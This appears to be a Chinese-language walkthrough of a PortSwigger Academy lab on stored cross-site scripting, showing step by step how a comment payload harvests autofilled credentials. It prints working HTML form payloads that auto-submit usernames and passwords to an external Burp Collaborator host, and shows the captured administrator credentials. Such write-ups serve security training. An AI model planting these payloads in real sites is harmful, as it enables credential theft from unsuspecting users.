从业者-利用跨站脚本-捕获密码
# 实验室:利用跨站脚本捕获密码
# 题目
此实验室在 博客评论功能 中包含一个存储型 XSS 漏洞。在发布评论后,实验室会模拟一个受害用户浏览这些评论。若要解决实验室问题,请利用此漏洞泄露受害者的用户名和密码,然后使用这些凭据 登录到受害者的帐户。
笔记
为了防止学院平台被用来攻击第三方,我们的防火墙阻止了实验室与任何外部系统之间的交互。要解决实验室问题,必须使用Burp Collaborator的默认公共服务器。
一些用户会注意到,本实验有一个替代解决方案,它不需要 Burp Collaborator。然而,这远没有偷凭证那么不易察觉。
- name: 实验室-从业者
desc: 利用跨站脚本捕获密码 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-capturing-passwords
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
点击任意 “View post” 进入文章详情页。
提交一个评论,并尝试注入攻击载荷。
评论内容中的载荷被正常解析。
接下来就是构造一个带有form
表单的攻击载荷,当受害者遇到该载荷时,将会自动填充用户名和密码,并自动提交至 BurpSuite 子域中。
我们可以拿实验室的登录界面来参考参考:
<form class="login-form" method="POST" action="/login">
<input required="" type="hidden" name="csrf" value="cu4c5qf1NdE6hFgIxteHd1DkeUFmdaFf">
<label>Username</label>
<input required="" type="username" name="username" autofocus="">
<label>Password</label>
<input required="" type="password" name="password">
<button class="button" type="submit"> Log in </button>
</form>
2
3
4
5
6
7
8
访问登录界面,启用开发者工具,选择登录框处的 form 表单,右键复制整个 form 表单的代码。
但以上 form 表单代码并不能满足我们的需求,我们需要对其进行一些修改:
<script>
function payload() {
var form = document.getElementById("payload");
form.submit();
}
</script>
<form id="payload" action="https://hsdmncvdfl7rjh7f7v0cg4bltcz4nubj.oastify.com/">
<input type="username" name="username">
<input type="password" name="password" onchange=payload()>
</form>
2
3
4
5
6
7
8
9
10
11
在上述攻击载荷中,定义了一个form
表单,其中包含两个输入框,分别用于捕获 自动填充的用户名与密码,同时为密码输入框添加了一个onchange
事件。
当后一个输入框发生更改时,说明用户名密码已经被填充,onchange
事件将会被触发,此时则会调用payload
函数并自动提交 form 表单。
在评论区注入载荷之后,回到文章页面看看效果。
遇到一个问题,form 表单提交至 BurpSuite 子域时会提示不安全,需要用户点击 “继续” 才能提交。
这个问题很好解决,将目标 URL 的 HTTP 协议修改为 HTTPS 即可。
http://
改为 https://
提交修改过后的载荷,等待一段时间后,即可在 BurpSuite 中看到捕获的用户名和密码:
administrator
:oon5uzjigy86s4mwpz5f
访问登录界面,输入捕获的用户名和密码,并点击登录按钮。
登录成功,实验完成。
经过测试,以上攻击载荷可以省略script
标签:
<form id="payload" action="https://hsdmncvdfl7rjh7f7v0cg4bltcz4nubj.oastify.com/">
<input type="username" name="username">
<input type="password" name="password" onchange="form=document.getElementById('payload');form.submit();">
</form>
2
3
4
什么?你问我题目中提到的 “替代解决方案” 是什么?
这个 “替代解决方案” 其实是XSS+CSRF
组合攻击,可以自行尝试。